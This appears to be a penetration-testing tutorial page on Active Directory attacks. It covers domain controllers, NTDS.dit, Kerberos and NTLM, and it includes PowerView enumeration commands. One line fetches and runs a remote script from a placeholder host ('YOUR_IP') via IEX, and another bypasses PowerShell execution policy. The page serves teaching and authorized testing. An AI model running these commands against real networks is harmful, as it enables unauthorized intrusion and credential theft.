ACTIVE DIRECTORY ATTACKS
Architecture · BloodHound · Kerberoasting · AS-REP Roasting · Pass-the-Hash · DCSync · Golden Tickets · LLMNR · SMB Relay · Lateral Movement
Active Directory Architecture
- The Domain Controller stores all domain password hashes in NTDS.dit — it is the ultimate target
- Kerberos uses encrypted tickets for authentication — the ticket encryption is what attackers crack
- NTLM authentication sends the hash directly — hashes can be used without cracking (Pass-the-Hash)
- Built-in Windows commands (net user, whoami) reveal enormous amounts of AD info with no extra tools
Active Directory (AD) is Microsoft's directory service — the backbone of nearly every enterprise Windows environment. It authenticates users, manages machines, enforces Group Policy, and controls resource access. For a penetration tester, understanding AD is the single highest-leverage skill in enterprise engagements.
Core Components
| COMPONENT | FUNCTION | ATTACK RELEVANCE |
|---|---|---|
| Domain Controller (DC) | Authenticates users, stores the AD database (NTDS.dit) | Primary target — compromise DC = own the domain |
| NTDS.dit | The AD database — contains all user password hashes | Dump with DCSync or physical access for all domain hashes |
| LDAP | Protocol for querying AD objects (users, groups, computers) | Enumerate users, groups, GPOs, SPN accounts |
| Kerberos | Authentication protocol using tickets instead of passwords | Kerberoasting, Pass-the-Ticket, Golden/Silver Tickets |
| NTLM | Older challenge-response auth protocol — still widely used | Pass-the-Hash, NTLM relay, Responder captures |
| Group Policy (GPO) | Centrally push configurations to domain machines | Writable GPOs allow pushing malicious configs domain-wide |
| Service Principal Names | Identifiers for Kerberos-enabled services | Kerberoasting — request TGS ticket for any SPN user |
| Domain Trust | Relationship allowing cross-domain auth | Trust abuse for cross-domain privilege escalation |
Basic Manual Enumeration (No Tools)
PowerView Quick Enumeration
# Load PowerView (from compromised host with web access):
IEX(New-Object Net.WebClient).downloadString('http://YOUR_IP/PowerView.ps1')
# Or bypass execution policy and load from disk:
powershell -ep bypass -c "Import-Module .PowerView.ps1"
# Basic enumeration:
Get-Domain
Get-DomainUser | select samaccountname, description
Get-DomainGroup "Domain Admins" | select members
Get-DomainComputer | select name, operatingsystem
Get-DomainGPO | select displayname
# Find Kerberoastable users (have SPNs):
Get-DomainUser -SPN | select name, serviceprincipalname
# Find AS-REP Roastable users:
Get-DomainUser -PreauthNotRequired | select samaccountnameThink of Active Directory like a company's HR database + security guard combined. The Domain Controller is the head of HR — it knows every employee (user account), their access badge (password hash), and what rooms they can enter (permissions). Attacking AD means convincing HR to hand over everyone's badges.
- The Domain Controller stores all domain password hashes in NTDS.dit — it is the ultimate target
- Kerberos uses encrypted tickets for authentication — the ticket encryption is what attackers crack
- NTLM authentication sends the hash directly — hashes can be used without cracking (Pass-the-Hash)
- Built-in Windows commands (net user, whoami) reveal enormous amounts of AD info with no extra tools